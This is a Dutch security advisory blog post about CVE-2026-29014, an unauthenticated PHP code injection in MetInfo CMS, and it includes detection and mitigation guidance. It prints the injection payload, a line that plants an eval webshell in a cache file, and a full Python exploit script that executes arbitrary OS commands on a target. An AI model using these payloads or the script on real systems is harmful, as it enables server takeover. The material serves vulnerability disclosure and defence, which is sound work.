Joel Aviad Ossi

Remote Code Execution in QuickBox Media Server

Developing a Remote Code Execution exploit for a popular media box

An online user on the popular internet board '4chan' has claimed to have hacked twitch and has delivered a large file of data for download

Twitch Source Code Leaked

CVE Report August 2021

This is a publication of a security report in regards to DMCA.com , multiple high risk findings have been discovered. DMCA.com did not reply or respond to the given publication deadline of 7 months

DMCA.COM Hack, Full Disclosure (With Proof-of-Concept)

nginx-ui <= 2.3.5 stelt een ongeauthenticeerd MCP-endpoint bloot waarmee privileged tools kunnen worden aangeroepen en Nginx-beheer kan worden overgenomen.

CVE-2026-33032: Ongeauthenticeerde nginx-ui MCP-overname

nginx-ui <= 2.3.5 exposes an unauthenticated MCP endpoint that can invoke privileged tools and take over Nginx service management.

CVE-2026-33032: Unauthenticated nginx-ui MCP takeover

![CVE-2026-29014 banner](https://websec-public.ams3.digitaloceanspaces.com/public/blog/_websec_bucket_/11492055-4967-4b5a-9ac2-8a24adb0e809/CVE-2026-29014_banner.png)

# CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

## Samenvatting

CVE-2026-29014 is een kritieke unauthenticated PHP code injection kwetsbaarheid in MetInfo CMS, die versies `7.9.0` tot en met `8.1.0` treft. Publiek beschikbaar adviesmateriaal beschrijft het probleem als een remote code execution conditie veroorzaakt door onvoldoende neutralisatie van gebruikersinvoer in het uitvoeringspad. Het kwetsbare gedrag is bereikbaar via de WeChat-gerelateerde request handler op `/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi`, waar door de aanvaller gecontroleerde invoer in een PHP-cachebestand kan worden geschreven en vervolgens uitgevoerd.

Het publiek beschikbare technische bewijs is ongewoon sterk. Het advisory van Karma(In)Security bevat kwetsbare code-fragmenten, identificeert de getroffen klasse en methode (`weixinreply.class.php`, `wxAdminLogin()`), en verwijst naar een publieke proof of concept. Het beschikbare PoC-materiaal wijst op een meerfasig unauthenticated exploitpad waarbij eerst PHP wordt geïnjecteerd in een cache-backed bestand en vervolgens command execution wordt getriggerd. VulnCheck registreert eveneens de publieke beschikbaarheid van een exploit voor dit probleem.

Voor aan het internet blootgestelde MetInfo CMS-installaties die kwetsbare versies draaien, vormt dit een risico op initiële toegang en volledige servercompromittering.

## Kwetsbaarheidsoverzicht

* **CVE**: `CVE-2026-29014`
* **Ernst**: Kritiek
* **CVSS**: `9.3`
* **CWE**: `CWE-94`, Improper Control of Generation of Code
* **Leverancier**: MetInfo CMS
* **Product**: MetInfo CMS
* **Getroffen versies**: `7.9.0 <= 8.1.0`
* **Aanvalsoppervlak**: Remote, unauthenticated
* **Impact**: Arbitraire PHP code-uitvoering, remote code execution, potentiële volledige controle over de getroffen server
* **Bekende publieke PoC**: Ja
* **ATT&CK-koppeling**: `T1190`, Exploit Public-Facing Application

## Waarom deze CVE relevant is

Deze kwetsbaarheid is relevant omdat ze drie eigenschappen combineert die defenders als hoge prioriteit moeten behandelen: geen authenticatievereiste, directe code-injectie in de PHP-uitvoeringsstroom, en publieke beschikbaarheid van een exploit.

Het advisory stelt dat aanvallers op afstand arbitraire code kunnen uitvoeren door speciaal vervaardigde requests met kwaadaardige PHP-code te versturen. Het kwetsbare codepad laat zien waarom die stelling geloofwaardig is. In de methode `wxAdminLogin()` wordt door de aanvaller gecontroleerde data uit `FromUserName` doorgegeven aan `cache::put()` via een cache-sleutel afgeleid van `login_code`:

```php
public function wxAdminLogin($data = array(),$code = '')
{
    global $_M;
    $weixinapi = load::mod_class('weixin/weixinapi','new');
    $login_code = cache::get("weixin/".$code);
     if ($login_code) {
        cache::put("weixin/".$login_code,$data['FromUserName']);
     }
    return;
}
```

De bijbehorende cache-schrijffunctie is eveneens publiek gedocumenteerd:

```php
public static function put($file, $data, $type = 'php')
{
    global $_M;

    load::sys_func('file');
    $save = PATH_CACHE . $file . '.' . $type;
    makefile($save);
    #$data = str_replace(array("\"", "\\"), array("\\\"", "\\\\"), $data);
    if (!is_array($data)) {
        file_put_contents($save, "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache=\"{$data}\";\n?>");
    } else {
        $info = var_export($data, true);
        $info = "<?php\ndefined('IN_MET') or exit('No permission');\n\$cache = {$info};\n?>";
        file_put_contents($save, $info);
    }
}
```

De uitgecommentarieerde `str_replace()`-regel is bijzonder relevant. Op basis van de gepubliceerde code wordt string-invoer in een PHP-bestand geschreven binnen een dubbelquoted assignment, zonder dat gevaarlijke tekens vooraf worden geneutraliseerd. Dat is de kernconditie die een cache-schrijfactie omzet in een code-injectieprimitief.

## Technische hoofdoorzaak

De hoofdoorzaak is het onveilig genereren van uitvoerbare PHP-inhoud vanuit niet-vertrouwde invoer.

Twee implementatiedetails uit de gepubliceerde code verklaren het probleem:

1. `wxAdminLogin()` schrijft door de aanvaller gecontroleerde `FromUserName`-data naar de cachelaag.
2. `cache::put()` slaat niet-array-invoer op als een PHP-bestand via string-interpolatie:

```php
$cache="{$data}";
```

Omdat de functie een `.php`-bestand schrijft en de opgegeven waarde direct in een PHP-dubbelquoted string inbedt, kan een aanvaller bij het ontbreken van juiste neutralisatie PHP-code rechtstreeks in die string-context injecteren. In plaats van de stringdelimiters te doorbreken, wordt misbruik gemaakt van PHP's curly-syntaxis binnen dubbelquoted strings, waardoor expressies zoals `{${eval(...)}}` kunnen worden geëvalueerd zonder de omsluitende stringdelimiters te hoeven verlaten. Het advisory karakteriseert het probleem expliciet als een unauthenticated PHP code injection kwetsbaarheid, en het code-fragment ondersteunt die classificatie.

Dezelfde functie construeert het doelpad als:

```php
$save = PATH_CACHE . $file . '.' . $type;
```

De publieke PoC-indicatoren suggereren dat het exploitpad niet uitsluitend afhankelijk is van code-injectie in de waarde, maar ook van het controleren van de cache-bestandsnaam via de `login_code`-stroom. De stage-markeringen `adminlogin&../config/tables` en `adminlogin&Array` wijzen er sterk op dat de aanvaller de cache-sleutel beïnvloedt die door `cache::put("weixin/".$login_code, ...)` wordt gebruikt, waardoor traversal-achtig gedrag in het gegenereerde cachepad mogelijk wordt. De publieke exploitlogica combineert daarom padmanipulatie met PHP code-injectie om door de aanvaller gecontroleerde PHP op een uitvoerbare locatie te plaatsen.

## Exploitpad

Het publieke exploitbewijs wijst op de volgende request handler:

```text
/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
```

De door de publieke PoC beschreven exploitstroom verloopt in meerdere fasen.

### Fase 1, PHP injecteren via het WeChat API-pad

Het gestructureerde PoC-bewijs bevat de exacte payload-markering:

```text
event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}
```

Hetzelfde bewijs toont een aangepaste header genaamd `C`, waarvan de waarde door de geïnjecteerde PHP wordt base64-gedecodeerd. Het op de publieke PoC gebaseerde validatieartefact gebruikt die header om code te leveren zoals:

```php
file_put_contents("cache/weixin/Array.php", "<?php eval($_SERVER[HTTP_C]); ?>");
```

Dit is consistent met het kwetsbare codepad. `FromUserName` bereikt `cache::put()`, en de resulterende PHP-bestandsinhoud kan zodanig worden beïnvloed dat door de aanvaller opgegeven PHP wordt uitgevoerd tijdens verdere verwerking. De injectie werkt door misbruik te maken van PHP's curly-syntaxis binnen de dubbelquoted string-context die door `cache::put()` wordt geproduceerd, waardoor PHP-expressies zoals `{${eval(...)}}` worden geëvalueerd zonder de omsluitende stringdelimiters te verlaten.

### Fase 2, het Array-cachedoel voorbereiden

De publieke stage-markeringen bevatten ook een tweede request-body:

```text
event SCAN adminlogin&Array
```

Beschikbare exploitnotities geven aan dat dit tweede request wordt gebruikt om het `Array`-cachebestandspad in te stellen of te refereren, waarna de geïnjecteerde PHP op een stabiele manier bereikbaar is. De exacte interne controlestroom buiten de gepubliceerde fragmenten is niet volledig gedocumenteerd in de publieke advisory-tekst. Het is daarom nauwkeuriger te stellen dat de exploit een tweeledige requestreeks gebruikt met `../config/tables` en `Array` om het aanmaken en uitvoeren van cache te sturen, dan om niet-gedocumenteerde internals te overdrijven.

### Fase 3, commando's uitvoeren en uitvoer verwerken

De publieke PoC-markeringen bevatten de uitvoermarkering `_____` en een PHP-commandowrapper van de volgende vorm:

```php
chdir('../..'); print '_____'; passthru(base64_decode('%s')); print '_____';
```

Die wrapper wordt vervolgens base64-gecodeerd en via hetzelfde injectiemechanisme verzonden via de `C`-header, die de geïnjecteerde PHP uitleest via `$_SERVER[HTTP_C]`. De exploit controleert op `success` tijdens de injectiefase en extraheert vervolgens de uitvoer van commando's tussen de `_____..._____`-markeringen.

Dit is voldoende om te concluderen dat het publieke exploitpad niet louter theoretisch is. Het is ontworpen om op een herhaalbare manier van code-injectie naar operating system command execution te gaan.

### Disclaimer

> Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en beveiligingsonderzoek. Misbruik voor kwaadaardige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door gebruik te maken van dit materiaal gaat u akkoord met onze [Algemene Voorwaarden](https://websec.net/legals/terms-and-conditions). Gebruik is geheel op eigen risico.

## PoC-overwegingen

Een publieke PoC is beschikbaar via Karma(In)Security:

* `https://karmainsecurity.com/pocs/CVE-2026-29014.php`

Het publieke materiaal ondersteunt de volgende concrete reproductiepunten:

* Endpoint: `/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi`
* Unauthenticated aanvalsoppervlak
* Meerfasige requeststroom
* Stage-markeringen: `adminlogin&../config/tables` en `adminlogin&Array`
* Header gebruikt voor payload-transport: `C` (server-side uitgelezen als `$_SERVER[HTTP_C]`)
* Succesindicatoren: `success` en uitvoer omsloten door `_____`

Een operationele noot uit het gegenereerde validatieartefact is het bewaren waard: exploitatie vereist dat de map `/cache/weixin/` bestaat, wat verwacht mag worden wanneer de WeChat-plugin is geïnstalleerd. Dit sluit aan bij het kwetsbare codepad dat `weixin/`-cache-sleutels gebruikt, maar publieke bronfragmenten documenteren niet alle deployment-vereisten volledig. In de praktijk moeten defenders ervan uitgaan dat systemen die het WeChat-modulepad blootstellen kwetsbaar zijn.

### WebSec PoC-opmerking

> De volgende `PoC Exploit by WebSec` is niet getest tegen een live doelwit. Hij is gebaseerd op publieke referenties, advisories, commits en ander geciteerd materiaal, en wordt uitsluitend aangeboden ter toelichting op de waarschijnlijke exploiteerbaarheid en validatielogica.

### PoC Exploit by WebSec

Het volgende compacte validatiescript volgt de publieke exploitvolgorde en is gebaseerd op het gepubliceerde advisory, PoC-indicatoren en het geciteerde codepad. Het is **niet getest** door WebSec en dient uitsluitend te worden behandeld als onderzoekshulpmiddel voor geautoriseerde validatie.

```python
#!/usr/bin/env python3
import requests
import urllib3
import sys
import base64
import re
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def stage1_inject_webshell(target_url):
    endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
    url = target_url.rstrip('/') + endpoint
    payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'C': base64.b64encode(b'file_put_contents("cache/weixin/Array.php", "<?php eval($_SERVER[HTTP_C]); ?>");').decode()
    }
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
        return "success" in response.text.lower() or response.status_code == 200
    except requests.exceptions.RequestException:
        return False

def stage2_setup_array_cache(target_url):
    endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
    url = target_url.rstrip('/') + endpoint
    payload = 'event SCAN adminlogin&Array'
    try:
        response = requests.post(url, data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded'}, verify=False, timeout=10)
        return response.status_code == 200
    except requests.exceptions.RequestException:
        return False

def execute_command(target_url, command):
    endpoint = "/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi"
    url = target_url.rstrip('/') + endpoint
    encoded_cmd = base64.b64encode(command.encode()).decode()
    phpcode = f"chdir('../..'); print '_____'; passthru(base64_decode('{encoded_cmd}')); print '_____';"
    payload = 'event SCAN adminlogin&../config/tables{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'C': base64.b64encode(phpcode.encode()).decode()
    }
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
        match = re.search(r'_____(.*)_____', response.text, re.DOTALL)
        return match.group(1).strip() if match else None
    except requests.exceptions.RequestException:
        return None

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('target')
    parser.add_argument('-c', '--command', default='id')
    args = parser.parse_args()
    target = args.target if args.target.startswith(('http://', 'https://')) else 'http://' + args.target
    if not stage1_inject_webshell(target):
        sys.exit(1)
    if not stage2_setup_array_cache(target):
        sys.exit(1)
    output = execute_command(target, args.command)
    if output is not None:
        print(output)

if __name__ == '__main__':
    main()
```

Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve doeleinden en beveiligingsonderzoek. Misbruik voor kwaadaardige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door gebruik te maken van dit materiaal gaat u akkoord met onze [Algemene Voorwaarden](https://websec.net/legals/terms-and-conditions). Gebruik is geheel op eigen risico.

## MITRE-koppeling

* **CWE-94**: Improper Control of Generation of Code
* **ATT&CK `T1190`**: Exploit Public-Facing Application

De ATT&CK-koppeling past nauwkeurig bij de publieke beschrijving. Het kwetsbare component is een via het web bereikbaar applicatie-endpoint, exploitatie vereist geen authenticatie, en het resultaat is server-side code-uitvoering.

## Detectie en mitigatie

Op basis van het publieke exploitpad dienen defenders zich op het volgende te richten:

### Detectiemogelijkheden

* Controleer HTTP-verkeer naar `/app/system/entrance.php?n=include&m=module&c=weixin&a=doapi`.
* Zoek naar request-bodies die de publieke exploit-markeringen bevatten:
  * `event SCAN adminlogin&../config/tables`
  * `event SCAN adminlogin&Array`
* Inspecteer requests die een ongebruikelijke aangepaste header genaamd `C` bevatten.
* Doorzoek web- en applicatielogboeken op responses die `success` bevatten in de context van de WeChat API-handler.
* Zoek naar bestanden aangemaakt onder cachepaden gerelateerd aan `weixin`, met name verdachte PHP-bestanden zoals `cache/weixin/Array.php`.
* Controleer bestandsintegriteitwijzigingen in cachemappen op ingebedde PHP zoals `eval($_SERVER[HTTP_C])`, `passthru(`, of onverwachte `file_put_contents(`-patronen.

### Mitigatieprioritering

* Upgrade van getroffen versies `7.9.0` tot en met `8.1.0` zodra een leveranciersfixatie beschikbaar is.
* Beperk de blootstelling van MetInfo CMS-beheer- en module-endpoints tot vertrouwde netwerken waar mogelijk.
* Als de WeChat-module niet vereist is, beperk dan de blootstelling van het gerelateerde endpoint en monitor eventuele toegangspogingen.
* Behandel elke bevestigde exploitatie als een volledige servercompromittering. Het publieke advisory stelt dat aanvallers volledige controle over de getroffen server kunnen verkrijgen.

Omdat het publieke exploitpad uitvoerbare PHP schrijft naar cache-backed locaties, dient incident response een bestandssysteemcontrole, het roteren van credentials en een bredere beoordeling van hostkompromittering te omvatten, in plaats van uitsluitend opschoning op webapplicatieniveau.

## Credits

De kwetsbaarheid werd ontdekt door **Egidio Romano**.

## Referenties

* Karma(In)Security, MetInfo CMS <= 8.1 (`weixinreply.class.php`) PHP Code Injection Vulnerability: https://karmainsecurity.com/KIS-2026-06
* Publieke PoC waarnaar het advisory verwijst: https://karmainsecurity.com/pocs/CVE-2026-29014.php
* MetInfo CMS leverancierswebsite: https://www.metinfo.cn/
* VulnCheck advisory, MetInfo CMS Unauthenticated PHP Code Injection RCE: https://www.vulncheck.com/advisories/metinfo-cms-unauthenticated-php-code-injection-rce

MetInfo CMS 7.9.0 tot en met 8.1.0 bevat een ongeauthenticeerde PHP-code-injectie via de WeChat-module, met risico op remote code execution.

CVE-2026-29014, ongeauthenticeerde PHP-code-injectie in MetInfo

MetInfo CMS 7.9.0 through 8.1.0 is affected by an unauthenticated PHP code injection flaw that can lead to remote code execution via the WeChat module.

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

wezo(zer0condition)

Dit artikel gaat dieper in op de werking van de Intel-hypervisor en hoe de tool Ophion erin slaagt om systeemdetectie volledig te omzeilen.

Ophion: Een verborgen Intel VT-x hypervisor bouwen voor Windows

Ophion is a stealth Intel VT-x hypervisor that virtualizes Windows while passing AC, AV, and VM-detection checks. This article covers how it works and how it evades detection.

Websec / Blog
Securing Today. Tomorrow could be too late.

CVE-2026-33032: Unauthenticated nginx-ui MCP takeover

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

Ophion: Building a Stealth Intel VT-x Hypervisor for Windows

Developing a Remote Code Execution exploit for a popular media box

Twitch Source Code Leaked

CVE Report August 2021

DMCA.COM Hack, Full Disclosure (With Proof-of-Concept)

Need Security?

Contact

Websec / Blog Securing Today. Tomorrow could be too late.

CVE-2026-33032: Unauthenticated nginx-ui MCP takeover

CVE-2026-29014, MetInfo CMS unauthenticated PHP code injection

Ophion: Building a Stealth Intel VT-x Hypervisor for Windows

Developing a Remote Code Execution exploit for a popular media box

Twitch Source Code Leaked

CVE Report August 2021

DMCA.COM Hack, Full Disclosure (With Proof-of-Concept)

Need Security?

Contact

Websec / Blog
Securing Today. Tomorrow could be too late.